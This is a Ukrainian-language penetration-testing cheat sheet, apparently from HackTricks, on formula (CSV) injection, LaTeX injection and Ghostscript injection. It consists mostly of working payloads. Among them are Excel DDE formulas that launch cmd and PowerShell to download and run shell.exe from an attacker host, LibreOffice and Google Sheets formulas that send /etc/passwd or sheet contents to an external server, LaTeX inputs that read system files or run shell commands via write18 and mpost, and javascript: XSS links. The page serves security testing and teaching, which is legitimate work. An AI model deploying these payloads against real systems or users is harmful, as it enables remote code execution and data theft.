# Formula/CSV/Doc/LaTeX/GhostScript Injection {{#include ../banners/hacktricks-training.md}} ## Formula Injection ### Info Якщо ваш **вхід** відображається всередині **CSV файлів** (або будь-якого іншого файлу, який, ймовірно, буде відкритий в **Excel**), ви, можливо, зможете вставити **формули** Excel, які будуть **виконані**, коли користувач **відкриває файл** або коли користувач **натискає на деяке посилання** всередині таблиці Excel. > [!CAUTION] > Сьогодні **Excel попереджає** (кілька разів) **користувача, коли щось завантажується ззовні Excel**, щоб запобігти йому від злочинних дій. Тому необхідно докласти спеціальних зусиль у соціальній інженерії для фінального вантажу. ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Hyperlink **Наступний приклад дуже корисний для ексфільтрації вмісту з фінальної таблиці Excel та для виконання запитів до довільних місць. Але це вимагає, щоб користувач натиснув на посилання (і прийняв попередження).** Наступний приклад був взятий з [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Уявіть, що у системі управління записами студентів сталася витік безпеки, який було використано через атаку CSV-ін'єкції. Основна мета зловмисника - скомпрометувати систему, яку використовують вчителі для управління даними студентів. Метод полягає в тому, що зловмисник вводить шкідливий код у додаток, зокрема, вводячи шкідливі формули у поля, призначені для даних студентів. Атака розгортається наступним чином: 1. **Ін'єкція шкідливого коду:** - Зловмисник подає форму даних студента, але включає формулу, яка зазвичай використовується в електронних таблицях (наприклад, `=HYPERLINK("","Click here")`). - Ця формула призначена для створення гіперпосилання, але вона вказує на шкідливий сервер, контрольований зловмисником. 2. **Експорт скомпрометованих даних:** - Вчителі, не підозрюючи про компрометацію, використовують функціональність програми для експорту даних у CSV-файл. - CSV-файл, при відкритті, все ще містить шкідливий код. Цей код з'являється як клікабельне гіперпосилання в електронній таблиці. 3. **Активація атаки:** - Вчитель натискає на гіперпосилання, вважаючи його легітимною частиною даних студента. - Після натискання чутливі дані (можливо, включаючи деталі з електронної таблиці або комп'ютера вчителя) передаються на сервер зловмисника. 4. **Логування даних:** - Сервер зловмисника отримує та реєструє чутливі дані, надіслані з комп'ютера вчителя. - Зловмисник може використовувати ці дані для різних шкідливих цілей, ще більше компрометуючи конфіденційність і безпеку студентів та установи. ### RCE **Перевірте** [**оригінальний пост**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **для отримання додаткових деталей.** У певних конфігураціях або старіших версіях Excel функція, званий Динамічний обмін даними (DDE), може бути використана для виконання довільних команд. Щоб скористатися цим, необхідно активувати наступні налаштування: - Перейдіть до Файл → Параметри → Центр управління безпекою → Налаштування Центру управління безпекою → Зовнішній вміст і активуйте **Запуск сервера динамічного обміну даними**. Коли електронна таблиця з шкідливим кодом відкривається (і якщо користувач приймає попередження), код виконується. Наприклад, щоб запустити програму калькулятора, код буде: ```markdown =cmd|' /C calc'!xxx ``` Додаткові команди також можуть бути виконані, такі як завантаження та виконання файлу за допомогою PowerShell: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Local File Inclusion (LFI) in LibreOffice Calc LibreOffice Calc може бути використаний для читання локальних файлів та ексфільтрації даних. Ось кілька методів: - Читання першого рядка з локального файлу `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1` - Ексфільтрація прочитаних даних на сервер, контрольований зловмисником: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` - Ексфільтрація більше ніж одного рядка: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` - DNS ексфільтрація (відправка прочитаних даних як DNS запити на сервер DNS, контрольований зловмисником): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets for Out-of-Band (OOB) Data Exfiltration Google Sheets пропонує функції, які можуть бути використані для OOB ексфільтрації даних: - **CONCATENATE**: Додає рядки разом - `=CONCATENATE(A2:E2)` - **IMPORTXML**: Імпортує дані з структурованих типів даних - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` - **IMPORTFEED**: Імпортує RSS або ATOM фіди - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` - **IMPORTHTML**: Імпортує дані з HTML таблиць або списків - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` - **IMPORTRANGE**: Імпортує діапазон клітинок з іншої таблиці - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` - **IMAGE**: Вставляє зображення в клітинку - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injection Зазвичай сервери, які можна знайти в інтернеті, що **перетворюють LaTeX код на PDF**, використовують **`pdflatex`**.\ Ця програма використовує 3 основні атрибути для (не)дозволу виконання команд: - **`--no-shell-escape`**: **Вимкнути** конструкцію `\write18{command}`, навіть якщо вона увімкнена у файлі texmf.cnf. - **`--shell-restricted`**: Те ж саме, що і `--shell-escape`, але **обмежено** 'безпечним' набором **попередньо визначених** **команд** (**На Ubuntu 16.04 список знаходиться у `/usr/share/texmf/web2c/texmf.cnf`). - **`--shell-escape`**: **Увімкнути** конструкцію `\write18{command}`. Команда може бути будь-якою командою оболонки. Ця конструкція зазвичай заборонена з міркувань безпеки. Однак є й інші способи виконання команд, тому, щоб уникнути RCE, дуже важливо використовувати `--shell-restricted`. ### Read file Вам може знадобитися налаштувати ін'єкцію з обгортками, такими як \[ або $. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### Прочитати файл з одного рядка ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Читання файлу з кількома рядками ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Написати файл ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Виконання команд Вхідні дані команди будуть перенаправлені до stdin, використовуйте тимчасовий файл для їх отримання. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` Якщо ви отримаєте будь-яку помилку LaTex, розгляньте можливість використання base64, щоб отримати результат без поганих символів. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Cross Site Scripting Від [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript Injection **Перевірте** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## References - [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) - [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) - [https://salmonsec.com/cheatsheet/latex_injection](https://salmonsec.com/cheatsheet/latex_injection) - [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) {{#include ../banners/hacktricks-training.md}}